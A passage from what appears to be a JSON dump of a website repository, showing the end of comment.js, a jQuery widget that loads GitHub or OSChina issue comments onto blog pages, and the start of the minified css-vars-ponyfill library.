_getIssueByUrl(comment.issue_url, function (issue) {\n            _renderRecentComment(user, issue.title, content, time, url, function (item) {\n                comment_list += item;\n                i++;\n                render_count++;\n                _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n            });\n        });\n    } else {\n        _renderRecentComment(user, title, content, time, url, function (item) {\n            comment_list += item;\n            i++;\n            render_count++;\n            _getRecentCommentList(comment_list, i, render_count, total_count, comments, callback);\n        });\n    }\n};\n\nvar _renderRecentCommentList = function _renderRecentCommentList(comments, count) {\n    var i = 0;\n    var render_count = 0;\n    var comment_list = '';\n    _getRecentCommentList(comment_list, i, render_count, count, comments, function (comment_list) {\n        $(recent_comments_target).append(comment_list);\n    });\n};\n\nvar _renderHTML = function _renderHTML(params) {\n    var issue = void 0,\n        comments = void 0,\n        comments_url = void 0,\n        issue_title = void 0;\n    issue = params.issue;\n    comments = params.comments;\n    comments_url = params.comments_url;\n    issue_title = params.issue_title;\n\n    var addr = type == 'github' ? github_addr : oschina_addr;\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    var site = type == 'oschina' ? '<a href=\"http://oschina.net\" class=\"discussion-item-entity\" target=\"_blank\">OSChina issue</a>' : '<a href=\"http://github.com\" class=\"discussion-item-entity\" target=\"_blank\">Github issue</a>';\n    var footer = \"\\n        <div class=\\\"discussion-item discussion-item-labeled\\\">\\n        <h3 class=\\\"discussion-item-header f5 text-normal\\\" id=\\\"event-1157063333\\\">\\n\\n        <span class=\\\"discussion-item-icon\\\">\\n        <svg aria-hidden=\\\"true\\\" class=\\\"octicon octicon-tag\\\" height=\\\"16\\\" version=\\\"1.1\\\" viewBox=\\\"0 0 16 16\\\" width=\\\"14\\\"><path fill-rule=\\\"evenodd\\\" d=\\\"M15 1H6c-.55 0-1 .45-1 1v2H1c-.55 0-1 .45-1 1v6c0 .55.45 1 1 1h1v3l3-3h4c.55 0 1-.45 1-1V9h1l3 3V9h1c.55 0 1-.45 1-1V2c0-.55-.45-1-1-1zM9 11H4.5L3 12.5V11H1V5h4v3c0 .55.45 1 1 1h3v2zm6-3h-2v1.5L11.5 8H6V2h9v6z\\\"></path></svg>\\n        </span>\\n        The above comments are provided by \\n        <a href=\\\"http://github.com/wzpan/comment.js\\\" class=\\\"discussion-item-entity\\\" target=\\\"_blank\\\">comment.js</a> with the help of \" + site + \".\\n        </h3>\\n        </div>\\n        \";\n    if ((!issue || !issue.body || issue.body == \"\") && (!comments || comments.length <= 0)) {\n        var _res = \"\\n            <div class='js-discussion no-comment'>\\n            <span>\" + no_comment + \"</span>\\n            </div>\\n            \";\n        $(comments_target).append(_res);\n    } else {\n        var _res2 = \"\\n            <div class=\\\"discussion-timeline js-quote-selection-container\\\">\\n            <div class=\\\"js-discussion js-socket-channel\\\">\\n            \";\n        if (issue && issue.body && issue.body != '') {\n            _res2 += _renderComment(issue);\n        }\n        comments.forEach(function (comment) {\n            _res2 += _renderComment(comment);\n        });\n        _res2 += footer;\n        _res2 += '</div></div>';\n        $(comments_target).append(_res2);\n    }\n    var issue_url = void 0;\n    if (!comments_url) {\n        issue_url = addr + \"/\" + username + \"/\" + repo + \"/issues/new?title=\" + issue_title + \"#issue_body\";\n    } else {\n        issue_url = comments_url.replace(api_addr, addr).replace('comments', '') + '#new_comment_field';\n    }\n    var res = \"\\n        <p class=\\\"goto-comment\\\">\\n        <a href=\\\"\" + issue_url + \"\\\" class=\\\"\" + btn_class + \"\\\" target=\\\"_blank\\\">\" + go_to_comment + \"</a>\\n        </p>\\n        \";\n    $(comments_target).append(res);\n};\n\nvar CompareDate = function CompareDate(a, b) {\n    var d1 = a['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, \"\\/\");\n    var d2 = b['created_at'].replace('T', ' ').replace('Z', '').replace(/-/g, \"\\/\");\n    return new Date(d1) > new Date(d2);\n};\n\nvar _getRecentIssues = function _getRecentIssues(params, callback) {\n    var count = void 0;\n    count = params.count;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues?per_page=100&sort=created&direction=desc',\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(issues) {\n            if (issues.length > count) {\n                if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                    issues = issues.sort(CompareDate).slice(0, 5);\n                } else {\n                    issues = issues.sort(CompareDate).reverse().slice(0, 5);\n                }\n            }\n            callback && typeof callback === \"function\" && callback(issues);\n            callback = null;\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar _getRecentComments = function _getRecentComments(params, callback) {\n    var count = void 0;\n    count = params.count;\n\n    var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n    $.ajax({\n        url: api_addr + username + '/' + repo + '/issues/comments?per_page=100&sort=created&direction=desc',\n        dataType: 'json',\n        cache: false,\n        crossDomain: true,\n        data: client_id && client_secret ? \"client_id=\" + client_id + \"&client_secret=\" + client_secret : '',\n        success: function success(comments) {\n            if (comments.length > count) {\n                if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                    comments = comments.sort(CompareDate).slice(0, 5);\n                } else {\n                    comments = comments.sort(CompareDate).reverse().slice(0, 5);\n                }\n            }\n\n            callback && typeof callback === \"function\" && callback(comments);\n            callback = null;\n        },\n        error: function error(err) {\n            callback && typeof callback === \"function\" && callback();\n            callback = null;\n        }\n    });\n};\n\nvar getRecentCommentsList = function getRecentCommentsList(params) {\n    var count = void 0,\n        user = void 0;\n    type = params.type;\n    user = params.user;\n    repo = params.repo;\n    client_id = params.client_id;\n    client_secret = params.client_secret;\n    count = params.count;\n    recent_comments_target = params.recent_comments_target;\n\n    username = user;\n    recent_comments_target = recent_comments_target ? recent_comments_target : '#recent-comments';\n    var recentList = new Array();\n    // Get recent issues and comments and filter out 10 newest comments\n    _getRecentIssues(params, function (issues) {\n        recentList = recentList.concat(issues);\n        _getRecentComments(params, function (comments) {\n            recentList = recentList.concat(comments);\n            if (navigator.userAgent.indexOf(\"MSIE\") != -1 || navigator.userAgent.indexOf(\"Edge\") != -1 || !!document.documentMode == true) {\n                recentList = recentList.sort(CompareDate);\n            } else {\n                recentList = recentList.sort(CompareDate).reverse();\n            }\n            _renderRecentCommentList(recentList, count);\n        });\n    });\n};\n\nvar getComments = function getComments(params) {\n    var issue_title = void 0,\n        issue_id = void 0,\n        user = void 0;\n    type = params.type;\n    user = params.user;\n    repo = params.repo;\n    client_id = params.client_id;\n    client_secret = params.client_secret;\n    no_comment = params.no_comment;\n    go_to_comment = params.go_to_comment;\n    issue_title = params.issue_title;\n    issue_id = params.issue_id;\n    btn_class = params.btn_class;\n    comments_target = params.comments_target;\n    loading_target = params.loading_target;\n\n    comments_target = comments_target ? comments_target : '#comment-thread';\n    username = user;\n    var spinner = new Spinner(spinOpts);\n    var timeagoInstance = timeago();\n    var comments_url;\n    var comments = new Array();\n    type = type ? type : 'github';\n    btn_class = btn_class ? btn_class : 'btn';\n\n    loading_target && spinner.spin($(\"div\" + loading_target).get(0));\n    if (!issue_id || issue_id == 'undefined' || typeof issue_id == 'undefined') {\n        _getCommentsUrl({ issue_title: issue_title,\n            page: 1 }, function (comments_url, issue) {\n            if (comments_url != '' && comments_url != undefined) {\n                _getComment({ comments: comments,\n                    comments_url: comments_url,\n                    page: 1 }, function (comments) {\n                    loading_target && spinner.spin();\n                    _renderHTML({\n                        issue: issue,\n                        comments: comments,\n                        comments_url: comments_url,\n                        issue_title: issue_title\n                    });\n                    return;\n                });\n            } else {\n                loading_target && spinner.spin();\n                _renderHTML({\n                    issue: issue,\n                    comments: comments,\n                    comments_url: comments_url,\n                    issue_title: issue_title\n                });\n                return;\n            }\n        });\n    } else {\n        var api_addr = type == 'github' ? github_api_addr : oschina_api_addr;\n        var _comments_url = api_addr + username + '/' + repo + '/issues/' + issue_id + '/comments';\n        _getIssue(issue_id, function (issue) {\n            _getComment({ comments: comments,\n                comments_url: _comments_url,\n                page: 1 }, function (comments) {\n                loading_target && spinner.spin();\n                _renderHTML({\n                    issue: issue,\n                    comments: comments,\n                    comments_url: _comments_url,\n                    issue_title: issue_title\n                });\n                loading_target && spinner.spin();\n                return;\n            });\n        });\n    }\n};\n"
  },
  {
    "path": "docs/assets/js/css-vars-ponyfill.js",
    "content": "/*!\r\n * css-vars-ponyfill\r\n * v2.3.1\r\n * https://jhildenbiddle.github.io/css-vars-ponyfill/\r\n * (c) 2018-2020 John Hildenbiddle <http://hildenbiddle.com>\r\n * MIT license\r\n */\r\n!function(e,t){\"object\"==typeof exports&&\"undefined\"!=typeof module?module.exports=t():\"function\"==typeof define&&define.amd?define(t):(e=e||self).cssVars=t()}(this,(function(){\"use strict\";function e(){return(e=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e}).apply(this,arguments)}function t(e){return function(e){if(Array.isArray(e))return r(e)}(e)||function(e){if(\"undefined\"!=typeof Symbol&&Symbol.iterator in Object(e))return Array.from(e)}(e)||function(e,t){if(!e)return;if(\"string\"==typeof e)return r(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);\"Object\"===n&&e.constructor&&(n=e.constructor.name);if(\"Map\"===n||\"Set\"===n)return Array.from(e);if(\"Arguments\"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return r(e,t)}(e)||function(){throw new TypeError(\"Invalid attempt to spread non-iterable instance.\\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.\")}()}function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function n(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r={mimeType:t.mimeType||null,onBeforeSend:t.onBeforeSend||Function.prototype,onSuccess:t.onSuccess||Function.prototype,onError:t.onError||Function.prototype,onComplete:t.onComplete||Function.prototype},n=Array.isArray(e)?e:[e],o=Array.apply(null,Array(n.length)).map((function(e){return null}));function s(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:\"\",t=\"<\"===e.trim().charAt(0);return!t}function a(e,t){r.onError(e,n[t],t)}function c(e,t){var s=r.onSuccess(e,n[t],t);e=!1===s?\"\":s||e,o[t]=e,-1===o.indexOf(null)&&r.onComplete(o)}var i=document.createElement(\"a\");n.forEach((function(e,t){if(i.setAttribute(\"href\",e),i.href=String(i.href),Boolean(document.all&&!window.atob)&&i.host.split(\":\")[0]!==location.host.split(\":\")[0]){if(i.protocol===location.protocol){var n=new XDomainRequest;n.open(\"GET\",e),n.timeout=0,n.onprogress=Function.prototype,n.ontimeout=Function.prototype,n.onload=function(){s(n.responseText)?c(n.responseText,t):a(n,t)},n.onerror=function(e){a(n,t)},setTimeout((function(){n.send()}),0)}else console.warn(\"Internet Explorer 9 Cross-Origin (CORS) requests must use the same protocol (\".concat(e,\")\")),a(null,t)}else{var o=new XMLHttpRequest;o.open(\"GET\",e),r.mimeType&&o.overrideMimeType&&o.overrideMimeType(r.mimeType),r.onBeforeSend(o,e,t),o.onreadystatechange=function(){4===o.readyState&&(200===o.status&&s(o.responseText)?c(o.responseText,t):a(o,t))},o.send()}}))}function o(e){var t=/\\/\\*[\\s\\S]+?\\*\\//g,r=/(?:@import\\s*)(?:url\\(\\s*)?(?:['\"])([^'\"]*)(?:['\"])(?:\\s*\\))?(?:[^;]*;)/g,o={rootElement:e.rootElement||document,include:e.include||'style,link[rel=\"stylesheet\"]',exclude:e.exclude||null,filter:e.filter||null,skipDisabled:!1!==e.skipDisabled,useCSSOM:e.useCSSOM||!1,onBeforeSend:e.onBeforeSend||Function.prototype,onSuccess:e.onSuccess||Function.prototype,onError:e.onError||Function.prototype,onComplete:e.onComplete||Function.prototype},a=Array.apply(null,o.rootElement.querySelectorAll(o.include)).filter((function(e){return t=e,r=o.exclude,!(t.matches||t.matchesSelector||t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector).call(t,r);var t,r})),c=Array.apply(null,Array(a.length)).map((function(e){return null}));function i(){if(-1===c.indexOf(null)){var e=c.join(\"\");o.onComplete(e,c,a)}}function u(e,t,r,s){var a=o.onSuccess(e,r,s);(function e(t,r,s,a){var c=arguments.length>4&&void 0!==arguments[4]?arguments[4]:[],i=arguments.length>5&&void 0!==arguments[5]?arguments[5]:[],u=l(t,s,i);u.rules.length?n(u.absoluteUrls,{onBeforeSend:function(e,t,n){o.onBeforeSend(e,r,t)},onSuccess:function(e,t,n){var s=o.onSuccess(e,r,t),a=l(e=!1===s?\"\":s||e,t,i);return a.rules.forEach((function(t,r){e=e.replace(t,a.absoluteRules[r])})),e},onError:function(n,o,l){c.push({xhr:n,url:o}),i.push(u.rules[l]),e(t,r,s,a,c,i)},onComplete:function(n){n.forEach((function(e,r){t=t.replace(u.rules[r],e)})),e(t,r,s,a,c,i)}}):a(t,c)})(e=void 0!==a&&!1===Boolean(a)?\"\":a||e,r,s,(function(e,n){null===c[t]&&(n.forEach((function(e){return o.onError(e.xhr,r,e.url)})),!o.filter||o.filter.test(e)?c[t]=e:c[t]=\"\",i())}))}function l(e,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],a={};return a.rules=(e.replace(t,\"\").match(r)||[]).filter((function(e){return-1===o.indexOf(e)})),a.urls=a.rules.map((function(e){return e.replace(r,\"$1\")})),a.absoluteUrls=a.urls.map((function(e){return s(e,n)})),a.absoluteRules=a.rules.map((function(e,t){var r=a.urls[t],o=s(a.absoluteUrls[t],n);return e.replace(r,o)})),a}a.length?a.forEach((function(e,t){var r=e.getAttribute(\"href\"),a=e.getAttribute(\"rel\"),l=\"LINK\"===e.nodeName&&r&&a&&-1!==a.toLowerCase().indexOf(\"stylesheet\"),f=!1!==o.skipDisabled&&e.disabled,d=\"STYLE\"===e.nodeName;if(l&&!f)n(r,{mimeType:\"text/css\",onBeforeSend:function(t,r,n){o.onBeforeSend(t,e,r)},onSuccess:function(n,o,a){var c=s(r);u(n,t,e,c)},onError:function(r,n,s){c[t]=\"\",o.onError(r,e,n),i()}});else if(d&&!f){var p=e.textContent;o.useCSSOM&&(p=Array.apply(null,e.sheet.cssRules).map((function(e){return e.cssText})).join(\"\")),u(p,t,e,location.href)}else c[t]=\"\",i()})):o.onComplete(\"\",[])}function s(e,t){var r=document.implementation.createHTMLDocument(\"\"),n=r.createElement(\"base\"),o=r.createElement(\"a\");return r.head.appendChild(n),r.body.appendChild(o),n.href=t||document.baseURI||(document.querySelector(\"base\")||{}).href||location.href,o.href=e,o.href}var a=c;function c(e,t,r){e instanceof RegExp&&(e=i(e,r)),t instanceof RegExp&&(t=i(t,r));var n=u(e,t,r);return n&&{start:n[0],end:n[1],pre:r.slice(0,n[0]),body:r.slice(n[0]+e.length,n[1]),post:r.slice(n[1]+t.length)}}function i(e,t){var r=t.match(e);return r?r[0]:null}function u(e,t,r){var n,o,s,a,c,i=r.indexOf(e),u=r.indexOf(t,i+1),l=i;if(i>=0&&u>0){for(n=[],s=r.length;l>=0&&!c;)l==i?(n.push(l),i=r.indexOf(e,l+1)):1==n.length?c=[n.pop(),u]:((o=n.pop())<s&&(s=o,a=u),u=r.indexOf(t,l+1)),l=i<u&&i>=0?i:u;n.length&&(c=[s,a])}return c}function l(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,removeComments:!1},o=e({},n,r),s=[];function c(e){throw new Error(\"CSS parse error: \".concat(e))}function i(e){var r=e.exec(t);if(r)return t=t.slice(r[0].length),r}function u(){return i(/^{\\s*/)}function l(){return i(/^}/)}function f(){i(/^\\s*/)}function d(){if(f(),\"/\"===t[0]&&\"*\"===t[1]){for(var e=2;t[e]&&(\"*\"!==t[e]||\"/\"!==t[e+1]);)e++;if(!t[e])return c(\"end of comment is missing\");var r=t.slice(2,e);return t=t.slice(e+2),{type:\"comment\",comment:r}}}function p(){for(var e,t=[];e=d();)t.push(e);return o.removeComments?[]:t}function m(){for(f();\"}\"===t[0];)c(\"extra closing bracket\");var e=i(/^((\"(?:\\\\\"|[^\"])*\"|'(?:\\\\'|[^'])*'|[^{])+)/);if(e)return e[0].trim().replace(/\\/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*\\/+/g,\"\").replace(/\"(?:\\\\\"|[^\"])*\"|'(?:\\\\'|[^'])*'/g,(function(e){return e.replace(/,/g,\"‌\")})).split(/\\s*(?![^(]*\\)),\\s*/).map((function(e){return e.replace(/\\u200C/g,\",\")}))}function v(){if(\"@\"===t[0])return k();i(/^([;\\s]*)+/);var e=/\\/\\*[^*]*\\*+([^/*][^*]*\\*+)*\\//g,r=i(/^(\\*?[-#/*\\\\\\w]+(\\[[0-9a-z_-]+\\])?)\\s*/);if(r){if(r=r[0].trim(),!i(/^:\\s*/))return c(\"property missing ':'\");var n=i(/^((?:\\/\\*.*?\\*\\/|'(?:\\\\'|.)*?'|\"(?:\\\\\"|.)*?\"|\\((\\s*'(?:\\\\'|.)*?'|\"(?:\\\\\"|.)*?\"|[^)]*?)\\s*\\)|[^};])+)/),o={type:\"declaration\",property:r.replace(e,\"\"),value:n?n[0].replace(e,\"\").trim():\"\"};return i(/^[;\\s]*/),o}}function h(){if(!u())return c(\"missing '{'\");for(var e,t=p();e=v();)t.push(e),t=t.concat(p());return l()?t:c(\"missing '}'\")}function y(){f();for(var e,t=[];e=i(/^((\\d+\\.\\d+|\\.\\d+|\\d+)%?|[a-z]+)\\s*/);)t.push(e[1]),i(/^,\\s*/);if(t.length)return{type:\"keyframe\",values:t,declarations:h()}}function g(){var e=i(/^@([-\\w]+)?keyframes\\s*/);if(e){var t=e[1];if(!(e=i(/^([-\\w]+)\\s*/)))return c(\"@keyframes missing name\");var r,n=e[1];if(!u())return c(\"@keyframes missing '{'\");for(var o=p();r=y();)o.push(r),o=o.concat(p());return l()?{type:\"keyframes\",name:n,vendor:t,keyframes:o}:c(\"@keyframes missing '}'\")}}function b(){if(i(/^@page */))return{type:\"page\",selectors:m()||[],declarations:h()}}function S(){var e=i(/@(top|bottom|left|right)-(left|center|right|top|middle|bottom)-?(corner)?\\s*/);if(e)return{type:\"page-margin-box\",name:\"\".concat(e[1],\"-\").concat(e[2])+(e[3]?\"-\".concat(e[3]):\"\"),declarations:h()}}function E(){if(i(/^@font-face\\s*/))return{type:\"font-face\",declarations:h()}}function w(){var e=i(/^@supports *([^{]+)/);if(e)return{type:\"supports\",supports:e[1].trim(),rules:M()}}function A(){if(i(/^@host\\s*/))return{type:\"host\",rules:M()}}function C(){var e=i(/^@media([^{]+)*/);if(e)return{type:\"media\",media:(e[1]||\"\").trim(),rules:M()}}function O(){var e=i(/^@custom-media\\s+(--[^\\s]+)\\s*([^{;]+);/);if(e)return{type:\"custom-media\",name:e[1].trim(),media:e[2].trim()}}function x(){var e=i(/^@([-\\w]+)?document *([^{]+)/);if(e)return{type:\"document\",document:e[2].trim(),vendor:e[1]?e[1].trim():null,rules:M()}}function j(){var e=i(/^@(import|charset|namespace)\\s*([^;]+);/);if(e)return{type:e[1],name:e[2].trim()}}function k(){if(f(),\"@\"===t[0]){var e=j()||E()||C()||g()||w()||x()||O()||A()||b()||S();if(e&&!o.preserveStatic){var r=!1;if(e.declarations)r=e.declarations.some((function(e){return/var\\(/.test(e.value)}));else r=(e.keyframes||e.rules||[]).some((function(e){return(e.declarations||[]).some((function(e){return/var\\(/.test(e.value)}))}));return r?e:{}}return e}}function _(){if(!o.preserveStatic){var e=a(\"{\",\"}\",t);if(e){var r=/:(?:root|host)(?![.:#(])/.test(e.pre)&&/--\\S*\\s*:/.test(e.body),n=/var\\(/.test(e.body);if(!r&&!n)return t=t.slice(e.end+1),{}}}var s=m()||[],i=o.preserveStatic?h():h().filter((function(e){var t=s.some((function(e){return/:(?:root|host)(?![.:#(])/.test(e)}))&&/^--\\S/.test(e.property),r=/var\\(/.test(e.value);return t||r}));return s.length||c(\"selector missing\"),{type:\"rule\",selectors:s,declarations:i}}function M(e){if(!e&&!u())return c(\"missing '{'\");for(var r,n=p();t.length&&(e||\"}\"!==t[0])&&(r=k()||_());)r.type&&n.push(r),n=n.concat(p());return e||l()?n:c(\"missing '}'\")}return{type:\"stylesheet\",stylesheet:{rules:M(!0),errors:s}}}function f(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={parseHost:!1,store:{},onWarning:function(){}},o=e({},n,r),s=new RegExp(\":\".concat(o.parseHost?\"host\":\"root\",\"$\"));return\"string\"==typeof t&&(t=l(t,o)),t.stylesheet.rules.forEach((function(e){\"rule\"===e.type&&e.selectors.some((function(e){return s.test(e)}))&&e.declarations.forEach((function(e,t){var r=e.property,n=e.value;r&&0===r.indexOf(\"--\")&&(o.store[r]=n)}))})),o.store}function d(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:\"\",r=arguments.length>2?arguments[2]:void 0,n={charset:function(e){return\"@charset \"+e.name+\";\"},comment:function(e){return 0===e.comment.indexOf(\"__CSSVARSPONYFILL\")?\"/*\"+e.comment+\"*/\":\"\"},\"custom-media\":function(e){return\"@custom-media \"+e.name+\" \"+e.media+\";\"},declaration:function(e){return e.property+\":\"+e.value+\";\"},document:function(e){return\"@\"+(e.vendor||\"\")+\"document \"+e.document+\"{\"+o(e.rules)+\"}\"},\"font-face\":function(e){return\"@font-face{\"+o(e.declarations)+\"}\"},host:function(e){return\"@host{\"+o(e.rules)+\"}\"},import:function(e){return\"@import \"+e.name+\";\"},keyframe:function(e){return e.values.join(\",\")+\"{\"+o(e.declarations)+\"}\"},keyframes:function(e){return\"@\"+(e.vendor||\"\")+\"keyframes \"+e.name+\"{\"+o(e.keyframes)+\"}\"},media:function(e){return\"@media \"+e.media+\"{\"+o(e.rules)+\"}\"},namespace:function(e){return\"@namespace \"+e.name+\";\"},page:function(e){return\"@page \"+(e.selectors.length?e.selectors.join(\", \"):\"\")+\"{\"+o(e.declarations)+\"}\"},\"page-margin-box\":function(e){return\"@\"+e.name+\"{\"+o(e.declarations)+\"}\"},rule:function(e){var t=e.declarations;if(t.length)return e.selectors.join(\",\")+\"{\"+o(t)+\"}\"},supports:function(e){return\"@supports \"+e.supports+\"{\"+o(e.rules)+\"}\"}};function o(e){for(var o=\"\",s=0;s<e.length;s++){var a=e[s];r&&r(a);var c=n[a.type](a);c&&(o+=c,c.length&&a.selectors&&(o+=t))}return o}return o(e.stylesheet.rules)}function p(e,t){e.rules.forEach((function(r){r.rules?p(r,t):r.keyframes?r.keyframes.forEach((function(e){\"keyframe\"===e.type&&t(e.declarations,r)})):r.declarations&&t(r.declarations,e)}))}c.range=u;function m(t){var r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n={preserveStatic:!0,preserveVars:!1,variables:{},onWarning:function(){}},o=e({},n,r);return\"string\"==typeof t&&(t=l(t,o)),p(t.stylesheet,(function(e,t){for(var r=0;r<e.length;r++){var n=e[r],s=n.type,a=n.property,c=n.value;if(\"declaration\"===s)if(o.preserveVars||!a||0!==a.indexOf(\"--\")){if(-1!==c.indexOf(\"var(\")){var i=h(c,o);i!==n.value&&(i=v(i),o.preserveVars?(e.splice(r,0,{type:s,property:a,value:i}),r++):n.value=i)}}else e.splice(r,1),r--}})),d(t)}function v(e){return(e.match(/calc\\(([^)]+)\\)/g)||[]).forEach((function(t){var r=\"calc\".concat(t.split(\"calc\").join(\"\"));e=e.replace(t,r)})),e}function h(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=arguments.length>2?arguments[2]:void 0;if(-1===e.indexOf(\"var(\"))return e;var n=a(\"(\",\")\",e);function o(e){var n=e.split(\",\")[0].replace(/[\\s\\n\\t]/g,\"\"),o=(e.match(/(?:\\s*,\\s*){1}(.*)?/)||[])[1],s=Object.prototype.hasOwnProperty.call(t.variables,n)?String(t.variables[n]):void 0,a=s||(o?String(o):void 0),c=r||e;return s||t.onWarning('variable \"'.concat(n,'\" is undefined')),a&&\"undefined\"!==a&&a.length>0?h(a,t,c):\"var(\".concat(c,\")\")}if(n){if(\"var\"===n.pre.slice(-3)){var s=0===n.body.trim().length;return s?(t.onWarning(\"var() must contain a non-whitespace string\"),e):n.pre.slice(0,-3)+o(n.body)+h(n.post,t)}return n.pre+\"(\".concat(h(n.body,t),\")\")+h(n.post,t)}return-1!==e.indexOf(\"var(\")&&t.onWarning('missing closing \")\" in the value \"'.concat(e,'\"')),e}var y=\"undefined\"!=typeof window,g=y&&window.CSS&&window.CSS.supports&&window.CSS.supports(\"(--a: 0)\"),b={group:0,job:0},S={rootElement:y?document:null,shadowDOM:!1,include:\"style,link[rel=stylesheet]\",exclude:\"\",variables:{},onlyLegacy:!0,preserveStatic:!0,preserveVars:!1,silent:!1,updateDOM:!0,updateURLs:!0,watch:null,onBeforeSend:function(){},onError:function(){},onWarning:function(){},onSuccess:function(){},onComplete:function(){},onFinally:function(){}},E={cssComments:/\\/\\*[\\s\\S]+?\\*\\//g,cssKeyframes:/@(?:-\\w*-)?keyframes/,cssMediaQueries:/@media[^{]+\\{([\\s\\S]+?})\\s*}/g,cssUrls:/url\\((?!['\"]?(?:data|http|\\/\\/):)['\"]?([^'\")]*)['\"]?\\)/g,cssVarDeclRules:/(?::(?:root|host)(?![.:#(])[\\s,]*[^{]*{\\s*[^}]*})/g,cssVarDecls:/(?:[\\s;]*)(-{2}\\w[\\w-]*)(?:\\s*:\\s*)([^;]*);/g,cssVarFunc:/var\\(\\s*--[\\w-]/,cssVars:/(?:(?::(?:root|host)(?![.:#(])[\\s,]*[^{]*{\\s*[^;]*;*\\s*)|(?:var\\(\\s*))(--[^:)]+)(?:\\s*[:)])/},w={dom:{},job:{},user:{}},A=!1,C=null,O=0,x=null,j=!1;function k(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},n=\"cssVars(): \",s=e({},S,r);function a(e,t,r,o){!s.silent&&window.console&&console.error(\"\".concat(n).concat(e,\"\\n\"),t),s.onError(e,t,r,o)}function c(e){!s.silent&&window.console&&console.warn(\"\".concat(n).concat(e)),s.onWarning(e)}function i(e){s.onFinally(Boolean(e),g,V()-s.__benchmark)}if(y){if(s.watch)return s.watch=S.watch,_(s),void k(s);if(!1===s.watch&&C&&(C.disconnect(),C=null),!s.__benchmark){if(A===s.rootElement)return void M(r);if(s.__benchmark=V(),s.exclude=[C?'[data-cssvars]:not([data-cssvars=\"\"])':'[data-cssvars=\"out\"]',s.exclude].filter((function(e){return e})).join(\",\"),s.variables=L(s.variables),!C){var u=Array.apply(null,s.rootElement.querySelectorAll('[data-cssvars=\"out\"]'));if(u.forEach((function(e){var t=e.getAttribute(\"data-cssvars-group\");(t?s.rootElement.querySelector('[data-cssvars=\"src\"][data-cssvars-group=\"'.concat(t,'\"]')):null)||e.parentNode.removeChild(e)})),O){var p=s.rootElement.querySelectorAll('[data-cssvars]:not([data-cssvars=\"out\"])');p.length<O&&(O=p.length,w.dom={})}}}if(\"loading\"!==document.readyState)if(g&&s.onlyLegacy){var v=!1;if(s.updateDOM){var h=s.rootElement.host||(s.rootElement===document?document.documentElement:s.rootElement);Object.keys(s.variables).forEach((function(e){var t=s.variables[e];v=v||t!==getComputedStyle(h).getPropertyValue(e),h.style.setProperty(e,t)}))}i(v)}else!j&&(s.shadowDOM||s.rootElement.shadowRoot||s.rootElement.host)?o({rootElement:S.rootElement,include:S.include,exclude:s.exclude,skipDisabled:!1,onSuccess:function(e,t,r){return(e=((e=e.replace(E.cssComments,\"\").replace(E.cssMediaQueries,\"\")).match(E.cssVarDeclRules)||[]).join(\"\"))||!1},onComplete:function(e,t,r){f(e,{store:w.dom,onWarning:c}),j=!0,k(s)}}):(A=s.rootElement,o({rootElement:s.rootElement,include:s.include,exclude:s.exclude,skipDisabled:!1,onBeforeSend:s.onBeforeSend,onError:function(e,t,r){var n=e.responseURL||D(r,location.href),o=e.statusText?\"(\".concat(e.statusText,\")\"):\"Unspecified Error\"+(0===e.status?\" (possibly CORS related)\":\"\");a(\"CSS XHR Error: \".concat(n,\" \").concat(e.status,\" \").concat(o),t,e,n)},onSuccess:function(e,t,r){var n=s.onSuccess(e,t,r);return e=void 0!==n&&!1===Boolean(n)?\"\":n||e,s.updateURLs&&(e=R(e,r)),e},onComplete:function(r,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:[],u=e({},w.dom,w.user);if(w.job={},o.forEach((function(e,t){var r=n[t];if(E.cssVars.test(r))try{var o=l(r,{preserveStatic:s.preserveStatic,removeComments:!0});f(o,{parseHost:Boolean(s.rootElement.host),store:w.dom,onWarning:c}),e.__cssVars={tree:o}}catch(t){a(t.message,e)}})),e(w.job,w.dom),s.updateDOM?(e(w.user,s.variables),e(w.job,w.user)):(e(w.job,w.user,s.variables),e(u,s.variables)),b.job>0&&Boolean(Object.keys(w.job).length>Object.keys(u).length||Boolean(Object.keys(u).length&&Object.keys(w.job).some((function(e){return w.job[e]!==u[e]})))))B(s.rootElement),k(s);else{var p=[],v=[],h=!1;if(s.updateDOM&&b.job++,o.forEach((function(t,r){var o=!t.__cssVars;if(t.__cssVars)try{m(t.__cssVars.tree,e({},s,{variables:w.job,onWarning:c}));var i=d(t.__cssVars.tree);if(s.updateDOM){var u=n[r],l=E.cssVarFunc.test(u);if(t.getAttribute(\"data-cssvars\")||t.setAttribute(\"data-cssvars\",\"src\"),i.length&&l){var 